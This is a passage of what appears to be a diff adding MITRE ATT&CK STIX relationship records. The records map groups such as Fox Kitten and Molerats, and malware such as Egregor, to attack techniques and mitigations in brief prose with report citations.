to see if Arabic is the configured language.(Citation: BleepingComputer Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--9e85e741-0dcd-4a15-a35a-a920f46824c2", + "type": "relationship", + "modified": "2020-12-28T21:12:01.768Z", + "created": "2020-12-28T21:12:01.768Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "relationship_type": "mitigates", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as [BloodHound](https://attack.mitre.org/software/S0521) (version 1.5.1 and later).(Citation: GitHub Bloodhound)", + "id": "relationship--19e387c4-0dd8-4c00-9195-73ed25ad061e", + "external_references": [ + { + "description": "Robbins, A., Vazarkar, R., and Schroeder, W. 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Retrieved March 5, 2019.", + "url": "https://github.com/BloodHoundAD/BloodHound", + "source_name": "GitHub Bloodhound" + } + ], + "type": "relationship", + "modified": "2021-02-09T15:52:24.482Z", + "created": "2020-12-28T21:51:00.010Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "relationship_type": "mitigates", + "description": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)", + "id": "relationship--57563748-1634-4625-baa4-73a4b1d7dbfb", + "external_references": [ + { + "description": "Robbins, A. (2018, April 2). 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "description": "[MoleNet](https://attack.mitre.org/software/S0553) can achieve persitence on the infected machine by setting the Registry run key.(Citation: Cybereason Molerats Dec 2020) ", + "relationship_type": "uses", + "id": "relationship--5d036e42-7ce2-499d-b693-12504c8615ca", + "type": "relationship", + "modified": "2020-12-28T22:09:15.740Z", + "created": "2020-12-28T22:09:15.740Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. 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Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used PowerShell scripts to access credential data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--ecc9a971-349b-428d-a376-74f11b5b7086", + "type": "relationship", + "modified": "2020-12-29T15:10:17.055Z", + "created": "2020-12-29T15:10:17.055Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. 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Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used scripts to access credential information from the KeePass database.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--70fe7f39-41de-4d7d-b691-4ac17c1a4c58", + "type": "relationship", + "modified": "2021-01-22T16:16:01.084Z", + "created": "2020-12-29T16:20:28.476Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). 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(2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used WizTree to obtain network files and directory listings.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--f0026b7c-9a9a-468d-a152-1b214efe066a", + "type": "relationship", + "modified": "2020-12-29T16:41:19.834Z", + "created": "2020-12-29T16:41:19.834Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Angry IP Scanner to detect remote systems.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--1374e38c-db37-46f8-8560-63901a3e7e56", + "type": "relationship", + "modified": "2020-12-29T16:41:19.852Z", + "created": "2020-12-29T16:41:19.852Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed Registry hives ntuser.dat and UserClass.dat.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--b8b16140-82bc-42a0-82f7-bfc402f4b4a4", + "type": "relationship", + "modified": "2020-12-29T16:46:48.463Z", + "created": "2020-12-29T16:46:48.463Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed ntuser.dat and UserClass.dat on compromised hosts.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--8a4b2f39-183a-40e9-a8af-f3727061c17d", + "type": "relationship", + "modified": "2020-12-29T16:46:48.473Z", + "created": "2020-12-29T16:46:48.473Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the Softerra LDAP browser to browse documentation on service accounts.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--8b425ec5-7be4-4225-a7c5-8f219fed7b6c", + "type": "relationship", + "modified": "2020-12-29T16:48:25.566Z", + "created": "2020-12-29T16:48:25.566Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used RDP to log in and move laterally in the target environment.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--d32354c1-0668-4997-825e-7f5652826ab9", + "type": "relationship", + "modified": "2020-12-29T20:23:05.599Z", + "created": "2020-12-29T17:07:59.930Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Google Chrome bookmarks to identify internal resources and assets.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--52ecf0cd-4e5f-4331-b4d8-42618f155c5c", + "type": "relationship", + "modified": "2020-12-29T17:07:59.932Z", + "created": "2020-12-29T17:07:59.932Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "target_ref": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", + "external_references": [ + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020." + } + ], + "description": "[DropBook](https://attack.mitre.org/software/S0547) has used legitimate web services to exfiltrate data.(Citation: BleepingComputer Molerats Dec 2020)", + "relationship_type": "uses", + "id": "relationship--6e6910db-1606-43a2-9812-22b5597d8472", + "type": "relationship", + "modified": "2020-12-29T17:42:13.720Z", + "created": "2020-12-29T17:42:13.720Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--d9a97894-9a90-43cd-b9b9-9d13545aeb5a", + "type": "relationship", + "modified": "2021-01-05T15:23:22.291Z", + "created": "2020-12-29T18:24:21.297Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid accounts to access SMB shares.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--65e9d954-30d8-4354-ad5c-3a6d69867a7e", + "type": "relationship", + "modified": "2020-12-29T18:26:03.883Z", + "created": "2020-12-29T18:26:03.883Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + } + ], + "description": "[Spark](https://attack.mitre.org/software/S0543) has exfiltrated data over the C2 channel.(Citation: Unit42 Molerat Mar 2020) ", + "relationship_type": "uses", + "id": "relationship--d7ce8b92-ada4-4e8f-b073-5a497de7156a", + "type": "relationship", + "modified": "2020-12-29T18:30:35.705Z", + "created": "2020-12-29T18:30:35.705Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the PuTTY and Plink tools for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--91b41079-6c44-439e-a76c-2a128a792e17", + "type": "relationship", + "modified": "2020-12-29T18:40:31.082Z", + "created": "2020-12-29T18:40:31.082Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed TightVNC server and client on compromised servers and endpoints for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--3d3ea12b-fec0-4daa-bb51-190884d88ee0", + "type": "relationship", + "modified": "2020-12-29T18:44:53.358Z", + "created": "2020-12-29T18:44:53.358Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has accessed victim security and IT environments and Microsoft Teams to mine valuable information.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--628054bd-e758-4528-a1fb-40983ecec149", + "type": "relationship", + "modified": "2020-12-29T18:53:14.964Z", + "created": "2020-12-29T18:53:14.964Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched network shares to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--d51c9d02-a701-4334-9dbc-bba6c128ba2b", + "type": "relationship", + "modified": "2020-12-29T18:53:14.966Z", + "created": "2020-12-29T18:53:14.966Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched local system resources to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--32bc85f6-f022-4868-8934-bd00cc36f6d4", + "type": "relationship", + "modified": "2020-12-29T18:53:14.974Z", + "created": "2020-12-29T18:53:14.974Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has obtained files from the victim's cloud storage instances.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--118c566e-2042-4566-99c2-308351d50a40", + "type": "relationship", + "modified": "2020-12-29T19:07:21.930Z", + "created": "2020-12-29T19:07:21.930Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has downloaded additional tools including [PsExec](https://attack.mitre.org/software/S0029) directly to endpoints.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--00de3cf9-73c4-4b04-a074-a5d73e9b61de", + "type": "relationship", + "modified": "2020-12-29T19:13:11.251Z", + "created": "2020-12-29T19:13:11.251Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used 7-Zip to archive data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", + "relationship_type": "uses", + "id": "relationship--28d9ac63-ce5f-4d42-be72-6b4d99b6fda7", + "type": "relationship", + "modified": "2020-12-29T19:13:11.254Z", + "created": "2020-12-29T19:13:11.254Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "external_references": [ + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used a Perl reverse shell to communicate with C2.(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--00fb61de-33f5-4e85-aca3-8e4016aa0bf8", + "type": "relationship", + "modified": "2021-04-12T19:34:40.099Z", + "created": "2020-12-29T20:23:05.296Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "external_references": [ + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has brute forced RDP credentials.(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--1b4baaaa-f08e-4f67-8d32-a7facb21eb7b", + "type": "relationship", + "modified": "2020-12-29T20:23:05.311Z", + "created": "2020-12-29T20:23:05.311Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", + "external_references": [ + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has created a local user account with administrator privileges.(Citation: ClearSky Pay2Kitten December 2020)", + "relationship_type": "uses", + "id": "relationship--26ce5847-3f53-4736-92c6-7a82e17cd884", + "type": "relationship", + "modified": "2020-12-29T20:32:44.536Z", + "created": "2020-12-29T20:32:44.536Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "external_references": [ + { + "source_name": "CISA AA20-259A Iran-Based Actor September 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", + "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020." + }, + { + "source_name": "ClearSky Pay2Kitten December 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", + "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)(Citation: Check Point Pay2Key November 2020)", + "relationship_type": "uses", + "id": "relationship--a637133c-2b07-4e57-8822-5c3bc4b584d7", + "type": "relationship", + "modified": "2021-01-05T15:23:22.295Z", + "created": "2020-12-29T20:44:35.961Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "external_references": [ + { + "source_name": "NHS Digital Egregor Nov 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", + "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020." + } + ], + "description": "[Egregor](https://attack.mitre.org/software/S0554) can collect any files found in the enumerated drivers before sending it to its C2 channel.(Citation: NHS Digital Egregor Nov 2020) ", + "relationship_type": "uses", + "id": "relationship--59c58c73-046c-4e01-9ced-8c049381fcd2", + "type": "relationship", + "modified": 